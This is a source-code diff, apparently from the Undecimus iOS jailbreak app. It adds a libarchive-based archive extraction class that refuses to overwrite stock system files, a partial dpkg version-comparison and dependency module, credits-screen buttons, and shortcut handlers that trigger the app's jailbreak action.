||||
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:K_RELOAD_SYSTEM_DAEMONS];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_HIDE_LOG_WINDOW] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_HIDE_LOG_WINDOW];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_RESET_CYDIA_CACHE] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_RESET_CYDIA_CACHE];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
}
|
||||
|
||||
- (void)initShortcuts {
|
||||
NSMutableArray *ShortcutItems = [[NSMutableArray alloc] init];
|
||||
UIApplicationShortcutIcon *JailbreakIcon = [UIApplicationShortcutIcon iconWithTemplateImageName:@"maintenance"];
|
||||
UIApplicationShortcutItem *JailbreakShortcut = [[UIApplicationShortcutItem alloc] initWithType:@"1" localizedTitle:@"Jailbreak" localizedSubtitle:nil icon:JailbreakIcon userInfo:nil];
|
||||
@@ -101,7 +169,7 @@
|
||||
- (void)application:(UIApplication *)application performActionForShortcutItem:(UIApplicationShortcutItem *)shortcutItem completionHandler:(void (^)(BOOL))completionHandler {
|
||||
switch ([[shortcutItem type] integerValue]) {
|
||||
case 1: {
|
||||
[[ViewController sharedController] performSelectorOnMainThread:@selector(tappedOnJailbreak:) withObject:nil waitUntilDone:YES];
|
||||
[[JailbreakViewController sharedController] performSelectorOnMainThread:@selector(tappedOnJailbreak:) withObject:nil waitUntilDone:YES];
|
||||
break;
|
||||
}
|
||||
default:
|
||||
@@ -111,7 +179,7 @@
|
||||
|
||||
- (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary <UIApplicationOpenURLOptionsKey, id> *)options {
|
||||
if ([[url scheme] isEqualToString:@"jailbreak"]) {
|
||||
[[ViewController sharedController] performSelectorOnMainThread:@selector(tappedOnJailbreak:) withObject:nil waitUntilDone:YES];
|
||||
[[JailbreakViewController sharedController] performSelectorOnMainThread:@selector(tappedOnJailbreak:) withObject:nil waitUntilDone:YES];
|
||||
return YES;
|
||||
}
|
||||
return NO;
|
||||
|
||||
@@ -0,0 +1,32 @@
|
||||
//
|
||||
// Archive.h
|
||||
//
|
||||
// Created by Sam Bingner on 1/4/19.
|
||||
// Copyright © 2019 Sam Bingner. All rights reserved.
|
||||
//
|
||||
|
||||
#ifndef _ARCHIVE_FILE_H
|
||||
#define _ARCHIVE_FILE_H
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <archive.h>
|
||||
|
||||
@interface ArchiveFile : NSObject
|
||||
@property (strong,readonly) NSArray <NSString*> *files;
|
||||
|
||||
+(ArchiveFile*)archiveWithFile:(NSString*)filename;
|
||||
+(ArchiveFile*)archiveWithFd:(int)fd;
|
||||
-(ArchiveFile*)initWithFile:(NSString*)filename;
|
||||
-(ArchiveFile*)initWithFd:(int)fd;
|
||||
-(BOOL)contains:(NSString*)file;
|
||||
-(NSArray <NSString*> *)files;
|
||||
-(BOOL)extract;
|
||||
-(BOOL)extractFileNum:(int)fileNum toFd:(int)fd;
|
||||
-(BOOL)extract:(NSString*)file toPath:(NSString*)path;
|
||||
-(BOOL)extractWithFlags:(int)flags;
|
||||
-(BOOL)extractToPath:(NSString*)path;
|
||||
-(BOOL)extractToPath:(NSString*)path overWriteDirectories:(BOOL)overwrite_dirs;
|
||||
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags;
|
||||
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags overWriteDirectories:(BOOL)overwrite_dirs;
|
||||
@end
|
||||
|
||||
#endif /* _ARCHIVE_FILE_H */
|
||||
@@ -0,0 +1,461 @@
|
||||
//
|
||||
// Archive.m
|
||||
//
|
||||
// Created by Sam Bingner on 1/4/19.
|
||||
// Copyright © 2019 Sam Bingner. All rights reserved.
|
||||
//
|
||||
|
||||
#import "ArchiveFile.h"
|
||||
#import <archive.h>
|
||||
#import <archive_entry.h>
|
||||
#import <inject.h> // Test static trust cache
|
||||
|
||||
#define DEFAULT_FLAGS (ARCHIVE_EXTRACT_TIME|ARCHIVE_EXTRACT_PERM|ARCHIVE_EXTRACT_ACL| \
|
||||
ARCHIVE_EXTRACT_FFLAGS|ARCHIVE_EXTRACT_OWNER|ARCHIVE_EXTRACT_UNLINK)
|
||||
|
||||
static int
|
||||
copy_data(struct archive *ar, struct archive *aw)
|
||||
{
|
||||
int r;
|
||||
const void *buff;
|
||||
size_t size;
|
||||
off_t offset;
|
||||
|
||||
for (;;) {
|
||||
r = archive_read_data_block(ar, &buff, &size, &offset);
|
||||
if (r == ARCHIVE_EOF)
|
||||
return (ARCHIVE_OK);
|
||||
if (r < ARCHIVE_OK)
|
||||
return (r);
|
||||
if (archive_write_data_block(aw, buff, size, offset) < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: %s", archive_error_string(aw));
|
||||
return (r);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@implementation ArchiveFile {
|
||||
NSMutableDictionary *_files;
|
||||
int _fd;
|
||||
BOOL _hasReadFiles;
|
||||
BOOL _isPipe;
|
||||
}
|
||||
|
||||
+(ArchiveFile*)archiveWithFile:(NSString *)filename
|
||||
{
|
||||
#if __has_feature(objc_arc)
|
||||
return [[ArchiveFile alloc] initWithFile:filename];
|
||||
#else
|
||||
return [[[ArchiveFile alloc] initWithFile:filename] autorelease];
|
||||
#endif
|
||||
}
|
||||
|
||||
+(ArchiveFile*)archiveWithFd:(int)fd
|
||||
{
|
||||
#if __has_feature(objc_arc)
|
||||
return [[ArchiveFile alloc] initWithFd:fd];
|
||||
#else
|
||||
return [[[ArchiveFile alloc] initWithFd:fd] autorelease];
|
||||
#endif
|
||||
}
|
||||
|
||||
-(void)readContents
|
||||
{
|
||||
struct archive *a = archive_read_new();
|
||||
archive_read_support_compression_all(a);
|
||||
archive_read_support_format_all(a);
|
||||
if (archive_read_open_fd(a, _fd, 16384) != ARCHIVE_OK)
|
||||
return;
|
||||
|
||||
struct archive_entry *entry;
|
||||
_files = [NSMutableDictionary new];
|
||||
while (archive_read_next_header(a, &entry) == ARCHIVE_OK) {
|
||||
NSString *path = @(archive_entry_pathname(entry));
|
||||
_files[path] = [NSMutableDictionary new];
|
||||
_files[path][@"mode"] = @(archive_entry_mode(entry));
|
||||
_files[path][@"uid"] = @(archive_entry_uid(entry));
|
||||
_files[path][@"gid"] = @(archive_entry_gid(entry));
|
||||
time_t mtime = archive_entry_mtime(entry);
|
||||
if (mtime) {
|
||||
_files[path][@"mtime"] = [NSDate dateWithTimeIntervalSince1970:mtime];
|
||||
}
|
||||
}
|
||||
archive_read_close(a);
|
||||
archive_read_finish(a);
|
||||
lseek(_fd, 0, SEEK_SET);
|
||||
}
|
||||
|
||||
-(ArchiveFile*)initWithFile:(NSString*)filename
|
||||
{
|
||||
if (![[NSFileManager defaultManager] fileExistsAtPath:filename]) {
|
||||
NSLog(@"Archive: File \"%@\" does not exist", filename);
|
||||
return nil;
|
||||
}
|
||||
self = [self init];
|
||||
_files = nil;
|
||||
_hasReadFiles = NO;
|
||||
|
||||
_fd = open(filename.UTF8String, O_RDONLY);
|
||||
if (_fd < 0) {
|
||||
perror("Archive open file returned error");
|
||||
return nil;
|
||||
}
|
||||
|
||||
struct archive *a = archive_read_new();
|
||||
archive_read_support_compression_all(a);
|
||||
archive_read_support_format_all(a);
|
||||
if (archive_read_open_fd(a, _fd, 16384) != ARCHIVE_OK)
|
||||
return nil;
|
||||
|
||||
archive_read_close(a);
|
||||
archive_read_finish(a);
|
||||
lseek(_fd, 0, SEEK_SET);
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
-(ArchiveFile*)initWithFd:(int)fd
|
||||
{
|
||||
self = [self init];
|
||||
_files = nil;
|
||||
_hasReadFiles = NO;
|
||||
_isPipe = YES;
|
||||
|
||||
_fd = fd;
|
||||
if (_fd < 0) {
|
||||
perror("Dup fd");
|
||||
return nil;
|
||||
}
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
-(NSArray*)files {
|
||||
if (!_hasReadFiles) {
|
||||
[self readContents];
|
||||
}
|
||||
return [_files.allKeys copy];
|
||||
}
|
||||
|
||||
-(BOOL)extractFileNum:(int)fileNum toFd:(int)fd
|
||||
{
|
||||
BOOL result = NO;
|
||||
/* Select which attributes we want to restore. */
|
||||
|
||||
if (fd < 0) {
|
||||
NSLog(@"Archive: invalid fd");
|
||||
return NO;
|
||||
}
|
||||
|
||||
if (fileNum < 1) {
|
||||
NSLog(@"Archive: invalid fileNum");
|
||||
return NO;
|
||||
}
|
||||
|
||||
struct archive *a = archive_read_new();
|
||||
archive_read_support_compression_all(a);
|
||||
archive_read_support_format_all(a);
|
||||
|
||||
if (archive_read_open_fd(a, _fd, 16384) != ARCHIVE_OK) {
|
||||
NSLog(@"Archive: unable to archive_read_open_fd: %s", archive_error_string(a));
|
||||
close(fd);
|
||||
return result;
|
||||
}
|
||||
|
||||
// Seek to entry
|
||||
struct archive_entry *entry = NULL;
|
||||
int rv ;
|
||||
for (int i=1; (rv = archive_read_next_header(a, &entry)) == ARCHIVE_OK && i<fileNum; i++);
|
||||
|
||||
if (rv == ARCHIVE_EOF) {
|
||||
NSLog(@"Archive: no file %d", fileNum);
|
||||
goto out;
|
||||
}
|
||||
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: %s", archive_error_string(a));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
|
||||
if (archive_entry_size(entry) > 0) {
|
||||
rv = archive_read_data_into_fd(a, fd);
|
||||
}
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: %s", archive_error_string(a));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
result = YES;
|
||||
out:
|
||||
archive_read_close(a);
|
||||
archive_read_finish(a);
|
||||
close(fd);
|
||||
return result;
|
||||
}
|
||||
|
||||
-(BOOL)extract:(NSString*)file toFd:(int)fd
|
||||
{
|
||||
BOOL result = NO;
|
||||
/* Select which attributes we want to restore. */
|
||||
|
||||
if (fd < 0) {
|
||||
NSLog(@"Archive: invalid fd");
|
||||
return NO;
|
||||
}
|
||||
|
||||
struct archive *a = archive_read_new();
|
||||
archive_read_support_compression_all(a);
|
||||
archive_read_support_format_all(a);
|
||||
|
||||
if (archive_read_open_fd(a, _fd, 16384) != ARCHIVE_OK) {
|
||||
NSLog(@"Archive: unable to archive_read_open_fd: %s", archive_error_string(a));
|
||||
close(fd);
|
||||
return result;
|
||||
}
|
||||
|
||||
// Seek to entry
|
||||
struct archive_entry *entry = NULL;
|
||||
int rv;
|
||||
while ((rv = archive_read_next_header(a, &entry)) == ARCHIVE_OK &&
|
||||
strcmp(archive_entry_pathname(entry), file.UTF8String) != 0
|
||||
);
|
||||
|
||||
if (rv == ARCHIVE_EOF) {
|
||||
NSLog(@"Archive: no such file \"%@\"", file);
|
||||
goto out;
|
||||
}
|
||||
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: %s", archive_error_string(a));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
|
||||
if (entry && (strcmp(archive_entry_pathname(entry), file.UTF8String) != 0) ) {
|
||||
NSLog(@"Archive: Unable to find entry for %@", file);
|
||||
goto out;
|
||||
}
|
||||
|
||||
if (archive_entry_size(entry) > 0) {
|
||||
rv = archive_read_data_into_fd(a, fd);
|
||||
}
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: %s", archive_error_string(a));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
result = YES;
|
||||
out:
|
||||
archive_read_close(a);
|
||||
archive_read_finish(a);
|
||||
close(fd);
|
||||
return result;
|
||||
}
|
||||
|
||||
-(BOOL)extract:(NSString*)file toPath:(NSString*)path
|
||||
{
|
||||
BOOL result = NO;
|
||||
/* Select which attributes we want to restore. */
|
||||
int flags = DEFAULT_FLAGS;
|
||||
|
||||
int fd = dup(_fd);
|
||||
if (fd == -1) {
|
||||
NSLog(@"Archive: unable to dupe fd");
|
||||
return NO;
|
||||
}
|
||||
|
||||
struct archive *a = archive_read_new();
|
||||
archive_read_support_compression_all(a);
|
||||
archive_read_support_format_all(a);
|
||||
|
||||
if (archive_read_open_fd(a, _fd, 16384) != ARCHIVE_OK) {
|
||||
NSLog(@"Archive: unable to archive_read_open_fd: %s", archive_error_string(a));
|
||||
close(fd);
|
||||
return result;
|
||||
}
|
||||
|
||||
struct archive *ext = archive_write_disk_new();
|
||||
archive_write_disk_set_options(ext, flags);
|
||||
|
||||
// Seek to entry
|
||||
struct archive_entry *entry = NULL;
|
||||
int rv;
|
||||
while ((rv = archive_read_next_header(a, &entry)) == ARCHIVE_OK &&
|
||||
strcmp(archive_entry_pathname(entry), file.UTF8String) != 0
|
||||
);
|
||||
|
||||
if (rv == ARCHIVE_EOF) {
|
||||
NSLog(@"Archive: no such file \"%@\"", file);
|
||||
goto out;
|
||||
}
|
||||
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: %s", archive_error_string(a));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
|
||||
if (entry && (strcmp(archive_entry_pathname(entry), file.UTF8String) != 0) ) {
|
||||
NSLog(@"Archive: Unable to find entry for %@", file);
|
||||
goto out;
|
||||
}
|
||||
|
||||
archive_entry_set_pathname(entry, path.UTF8String);
|
||||
rv = archive_write_header(ext, entry);
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: Unable to write header for %@: %s", path, archive_error_string(ext));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
if (archive_entry_size(entry) > 0) {
|
||||
rv = copy_data(a, ext);
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: Error copying data for %@: %s", path, archive_error_string(ext));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
}
|
||||
|
||||
rv = archive_write_finish_entry(ext);
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: %s", archive_error_string(ext));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
result = YES;
|
||||
out:
|
||||
archive_write_close(ext);
|
||||
archive_write_finish(ext);
|
||||
archive_read_close(a);
|
||||
archive_read_finish(a);
|
||||
close(fd);
|
||||
return result;
|
||||
}
|
||||
|
||||
-(BOOL)extract
|
||||
{
|
||||
return [self extractToPath:[[NSFileManager defaultManager] currentDirectoryPath]];
|
||||
}
|
||||
|
||||
-(BOOL)extractWithFlags:(int)flags
|
||||
{
|
||||
return [self extractToPath:[[NSFileManager defaultManager] currentDirectoryPath] withFlags:flags];
|
||||
}
|
||||
|
||||
-(BOOL)extractToPath:(NSString*)path
|
||||
{
|
||||
return [self extractToPath:path withFlags:DEFAULT_FLAGS];
|
||||
}
|
||||
|
||||
-(BOOL)extractToPath:(NSString*)path overWriteDirectories:(BOOL)overwrite_dirs
|
||||
{
|
||||
return [self extractToPath:path withFlags:DEFAULT_FLAGS overWriteDirectories:overwrite_dirs];
|
||||
}
|
||||
|
||||
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags
|
||||
{
|
||||
return [self extractToPath:path withFlags:flags overWriteDirectories:NO];
|
||||
}
|
||||
|
||||
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags overWriteDirectories:(BOOL)overwrite_dirs
|
||||
{
|
||||
BOOL result = NO;
|
||||
|
||||
int fd = dup(_fd);
|
||||
if (fd == -1) {
|
||||
NSLog(@"Archive: unable to dupe fd");
|
||||
return NO;
|
||||
}
|
||||
|
||||
struct archive *a = archive_read_new();
|
||||
archive_read_support_compression_all(a);
|
||||
archive_read_support_format_all(a);
|
||||
|
||||
if (archive_read_open_fd(a, _fd, 16384) != ARCHIVE_OK) {
|
||||
NSLog(@"Archive: unable to archive_read_open_fd: %s", archive_error_string(a));
|
||||
close(fd);
|
||||
return result;
|
||||
}
|
||||
|
||||
struct archive *ext = archive_write_disk_new();
|
||||
archive_write_disk_set_options(ext, flags);
|
||||
|
||||
// Seek to entry
|
||||
struct archive_entry *entry = NULL;
|
||||
int rv;
|
||||
|
||||
NSFileManager *fm = [NSFileManager defaultManager];
|
||||
NSString *cwd = [fm currentDirectoryPath];
|
||||
if (![fm changeCurrentDirectoryPath:path]) {
|
||||
NSLog(@"Archive: unable to change cwd to %@", path);
|
||||
goto out;
|
||||
}
|
||||
while ((rv = archive_read_next_header(a, &entry)) == ARCHIVE_OK) {
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive \"%s\": %s", archive_entry_pathname(entry), archive_error_string(ext));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
|
||||
const char *filename = archive_entry_pathname(entry);
|
||||
struct stat st;
|
||||
rv = stat(filename, &st);
|
||||
if (rv == 0) {
|
||||
if (!overwrite_dirs) {
|
||||
if (S_ISDIR(st.st_mode)) {
|
||||
// Directory already exists, don't mess with it
|
||||
NSLog(@"Archive: skipping directory: %s", filename);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if (S_ISREG(st.st_mode) && isInAMFIStaticCache(@(filename))) {
|
||||
// --BootLoop
|
||||
NSLog(@"Archive: cowardly refusing to overwrite stock file: %s", filename);
|
||||
continue;
|
||||
}
|
||||
NSLog(@"Archive: Overwriting file %s", filename);
|
||||
}
|
||||
rv = archive_write_header(ext, entry);
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive \"%s\": %s", filename, archive_error_string(ext));
|
||||
}
|
||||
if (archive_entry_size(entry) > 0) {
|
||||
rv = copy_data(a, ext);
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: Error copying data for %s: %s", filename, archive_error_string(ext));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
}
|
||||
rv = archive_write_finish_entry(ext);
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive \"%s\": %s", filename, archive_error_string(ext));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
NSLog(@"%s: OK", filename);
|
||||
}
|
||||
result = YES;
|
||||
out:
|
||||
[fm changeCurrentDirectoryPath:cwd];
|
||||
archive_write_close(ext);
|
||||
archive_write_finish(ext);
|
||||
archive_read_close(a);
|
||||
archive_read_finish(a);
|
||||
close(fd);
|
||||
return result;
|
||||
}
|
||||
|
||||
-(BOOL)contains:(NSString*)file {
|
||||
if (!_hasReadFiles) {
|
||||
[self readContents];
|
||||
}
|
||||
return (_files[file] != nil);
|
||||
}
|
||||
|
||||
-(void)dealloc {
|
||||
close(_fd);
|
||||
}
|
||||
|
||||
@end
|
||||
@@ -3,11 +3,13 @@
|
||||
// Undecimus
|
||||
//
|
||||
// Created by Pwn20wnd on 9/14/18.
|
||||
// Copyright © 2018 Pwn20wnd. All rights reserved.
|
||||
// Copyright © 2018 - 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#import <UIKit/UIKit.h>
|
||||
|
||||
@interface CreditsTableViewController : UITableViewController
|
||||
|
||||
+ (NSURL *)getURLForUserName:(NSString *)userName;
|
||||
|
||||
@end
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
// Undecimus
|
||||
//
|
||||
// Created by Pwn20wnd on 9/14/18.
|
||||
// Copyright © 2018 Pwn20wnd. All rights reserved.
|
||||
// Copyright © 2018 - 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#import "CreditsTableViewController.h"
|
||||
@@ -105,4 +105,13 @@
|
||||
-(IBAction)tappedOnJakeashacks:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"Jakeashacks"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnJonathanSeals:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"JonathanSeals"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnSaurik:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"saurik"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
@end
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
//
|
||||
// FakeApt.h
|
||||
// This is far from a complete implementation
|
||||
//
|
||||
// Created by Sam Bingner on 1/24/19.
|
||||
// Copyright © 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#ifndef FakeApt_h
|
||||
#define FakeApt_h
|
||||
|
||||
int versioncomp(NSString *v1, NSString *v2);
|
||||
NSDictionary *parseDependsOrProvides(NSString *string);
|
||||
BOOL compareDpkgVersion(NSString *version1, NSString *op, NSString *version2, BOOL *result);
|
||||
NSString *versionOfPkg(NSString *pkg);
|
||||
NSArray *resolveDepsForPkg(NSString * _Nonnull pkg, BOOL noPreDeps);
|
||||
BOOL extractDebsForPkg(NSString *pkg, NSMutableArray *installed, BOOL preDeps);
|
||||
NSDictionary *getPkgs(void);
|
||||
NSString *debForPkg(NSString *pkg);
|
||||
NSArray <NSString*> *debsForPkgs(NSArray <NSString*> *pkgs);
|
||||
|
||||
#endif /* FakeApt_h */
|
||||
@@ -0,0 +1,464 @@
|
||||
//
|
||||
// FakeApt.m
|
||||
// This is far from a complete implementation.
|
||||
//
|
||||
// Created by Sam Bingner on 1/24/19.
|
||||
// Copyright © 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <UIKit/UIKit.h>
|
||||
#import "utils.h"
|
||||
#import "common.h"
|
||||
#import "FakeApt.h"
|
||||
|
||||
static int valueForNonDigit(char nd) {
|
||||
if (nd == '~')
|
||||
return 0;
|
||||
else if (nd == '\0')
|
||||
return 1;
|
||||
else if (nd >= 'A' && nd <= 'Z')
|
||||
return 2 + nd - 'A';
|
||||
else if (nd >= 'a' && nd <= 'z')
|
||||
return 2 + ('Z' - 'A') + nd - 'a';
|
||||
else
|
||||
return 2 + ('Z' - 'A') * 2 + nd;
|
||||
}
|
||||
|
||||
int versioncomp(NSString *v1, NSString *v2) {
|
||||
NSRegularExpression *nonDigitsR = [NSRegularExpression regularExpressionWithPattern:@"^([^\\d]+)" options:0 error:nil];
|
||||
NSRegularExpression *digitsR = [NSRegularExpression regularExpressionWithPattern:@"^([\\d]+)" options:0 error:nil];
|
||||
int result = 0;
|
||||
do {
|
||||
NSTextCheckingResult *nonDigits1 = [nonDigitsR firstMatchInString:v1 options:0 range:NSMakeRange(0, v1.length)];
|
||||
NSTextCheckingResult *nonDigits2 = [nonDigitsR firstMatchInString:v2 options:0 range:NSMakeRange(0, v2.length)];
|
||||
const char *nd1="", *nd2="";
|
||||
if (nonDigits1) {
|
||||
nd1 = [v1 substringWithRange:nonDigits1.range].UTF8String;
|
||||
v1 = [v1 substringFromIndex:nonDigits1.range.length];
|
||||
}
|
||||
if (nonDigits2) {
|
||||
nd2 = [v2 substringWithRange:nonDigits1.range].UTF8String;
|
||||
v2 = [v2 substringFromIndex:nonDigits1.range.length];
|
||||
}
|
||||
size_t maxLen = MIN(nonDigits1.range.length, nonDigits2.range.length) + 1; // Also compare NULL
|
||||
int compared;
|
||||
for (compared=0; compared < maxLen && *nd1 == *nd2; compared++, nd1++, nd2++);
|
||||
if (compared < maxLen) {
|
||||
int cv1 = valueForNonDigit(*nd1);
|
||||
int cv2 = valueForNonDigit(*nd2);
|
||||
result = cv1 - cv2;
|
||||
}
|
||||
|
||||
if (result == 0) {
|
||||
// Compare digits
|
||||
NSTextCheckingResult *digits1 = [digitsR firstMatchInString:v1 options:0 range:NSMakeRange(0, v1.length)];
|
||||
NSTextCheckingResult *digits2 = [digitsR firstMatchInString:v2 options:0 range:NSMakeRange(0, v2.length)];
|
||||
|
||||
int dv1=0, dv2=0;
|
||||
if (digits1) {
|
||||
dv1 = [[v1 substringWithRange:digits1.range] intValue];
|
||||
v1 = [v1 substringFromIndex:digits1.range.length];
|
||||
}
|
||||
if (digits2) {
|
||||
dv2 = [[v2 substringWithRange:digits2.range] intValue];
|
||||
v2 = [v2 substringFromIndex:digits2.range.length];
|
||||
}
|
||||
result = dv1 - dv2;
|
||||
}
|
||||
} while (result == 0 && (v1.length > 0 || v2.length > 0));
|
||||
return result;
|
||||
}
|
||||
|
||||
NSDictionary *parseDependsOrProvides(NSString *string) {
|
||||
NSRegularExpression *version = [NSRegularExpression regularExpressionWithPattern:@"^\\s*(\\S+)\\s+\\((<<|<=|=|>=|>>)\\s*((?:\\d:|)[A-Za-z0-9\\.\\+\\-\\~]+)\\)" options:0 error:nil];
|
||||
|
||||
NSTextCheckingResult *verMatch = [version firstMatchInString:string options:0 range:NSMakeRange(0, string.length)];
|
||||
if (verMatch) {
|
||||
return @{
|
||||
@"name": [string substringWithRange:[verMatch rangeAtIndex:1]],
|
||||
@"op": [string substringWithRange:[verMatch rangeAtIndex:2]],
|
||||
@"ver": [string substringWithRange:[verMatch rangeAtIndex:3]]
|
||||
};
|
||||
}
|
||||
return @{@"name": string};
|
||||
}
|
||||
|
||||
enum dpkgComparisonResult {
|
||||
resError = -1,
|
||||
resNotSatisfied = 0,
|
||||
resSatisfied = 1,
|
||||
resPending = 2
|
||||
};
|
||||
|
||||
static enum dpkgComparisonResult testComp(int compRes, NSString *op, bool last) {
|
||||
static NSDictionary *compDict;
|
||||
static dispatch_once_t onceToken;
|
||||
dispatch_once(&onceToken, ^{
|
||||
compDict = @{
|
||||
@"<<" : @-2,
|
||||
@"<=" : @-1,
|
||||
@"=" : @0,
|
||||
@">=" : @1,
|
||||
@">>" : @2
|
||||
};
|
||||
});
|
||||
NSNumber *compOp = compDict[op];
|
||||
if (!compOp)
|
||||
return resError;
|
||||
|
||||
switch (compOp.intValue) {
|
||||
case -2:
|
||||
if (compRes < 0)
|
||||
return resSatisfied;
|
||||
return last?resNotSatisfied:resPending;
|
||||
break;
|
||||
case -1:
|
||||
if (compRes < 0)
|
||||
return resSatisfied;
|
||||
case 0:
|
||||
if (compRes == 0)
|
||||
return last?resSatisfied:resPending;
|
||||
return resNotSatisfied;
|
||||
break;
|
||||
case 1:
|
||||
if (compRes == 0)
|
||||
return last?resSatisfied:resPending;
|
||||
case 2:
|
||||
if (compRes > 0)
|
||||
return resSatisfied;
|
||||
return last?resNotSatisfied:resPending;
|
||||
break;
|
||||
default:
|
||||
return resError;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL compareDpkgVersion(NSString *version1, NSString *op, NSString *version2, BOOL *result) {
|
||||
if (version1 == nil || op == nil || version2 == nil || result == NULL)
|
||||
return NO;
|
||||
|
||||
NSRegularExpression *mainVersionPartsRegex = [NSRegularExpression regularExpressionWithPattern:
|
||||
@"^(?:(\\d):|)(?:([A-Za-z0-9\\.\\+\\-~]+)-([A-Za-z0-9\\.\\+~]+)|([A-Za-z0-9\\.\\+~]+))$"
|
||||
options:0 error:nil];
|
||||
NSRegularExpression *opRegex = [NSRegularExpression regularExpressionWithPattern:@"^<<|<=|=|>=|>>$" options:0 error:nil];
|
||||
|
||||
if ([opRegex numberOfMatchesInString:op options:0 range:NSMakeRange(0, op.length)] != 1) {
|
||||
LOG("couldn't parse op");
|
||||
return NO;
|
||||
}
|
||||
|
||||
NSTextCheckingResult *mainVersion1Parts = [mainVersionPartsRegex firstMatchInString:version1 options:0 range:NSMakeRange(0, version1.length)];
|
||||
NSTextCheckingResult *mainVersion2Parts = [mainVersionPartsRegex firstMatchInString:version2 options:0 range:NSMakeRange(0, version2.length)];
|
||||
|
||||
if (!mainVersion1Parts || !mainVersion2Parts) {
|
||||
LOG("couldn't parse version %@ or %@", version1, version2);
|
||||
return NO;
|
||||
}
|
||||
|
||||
NSString *epoch1;
|
||||
if (NSEqualRanges([mainVersion1Parts rangeAtIndex:1], NSMakeRange(NSNotFound, 0))) {
|
||||
epoch1 = @"0";
|
||||
} else {
|
||||
epoch1 = [version1 substringWithRange:[mainVersion1Parts rangeAtIndex:1]];
|
||||
}
|
||||
NSString *epoch2;
|
||||
if (NSEqualRanges([mainVersion2Parts rangeAtIndex:1], NSMakeRange(NSNotFound, 0))) {
|
||||
epoch2 = @"0";
|
||||
} else {
|
||||
epoch2 = [version2 substringWithRange:[mainVersion2Parts rangeAtIndex:1]];
|
||||
}
|
||||
|
||||
NSString *upstream1;
|
||||
if (NSEqualRanges([mainVersion1Parts rangeAtIndex:2], NSMakeRange(NSNotFound, 0))) {
|
||||
if (NSEqualRanges([mainVersion1Parts rangeAtIndex:4], NSMakeRange(NSNotFound, 0))) {
|
||||
LOG("Unable to parse version1 upstream version: %@", version1);
|
||||
return NO;
|
||||
}
|
||||
upstream1 = [version1 substringWithRange:[mainVersion1Parts rangeAtIndex:4]];
|
||||
} else {
|
||||
upstream1 = [version1 substringWithRange:[mainVersion1Parts rangeAtIndex:2]];
|
||||
}
|
||||
|
||||
NSString *upstream2;
|
||||
if (NSEqualRanges([mainVersion2Parts rangeAtIndex:2], NSMakeRange(NSNotFound, 0))) {
|
||||
if (NSEqualRanges([mainVersion2Parts rangeAtIndex:4], NSMakeRange(NSNotFound, 0))) {
|
||||
LOG("Unable to parse version2 upstream version: %@", version2);
|
||||
return NO;
|
||||
}
|
||||
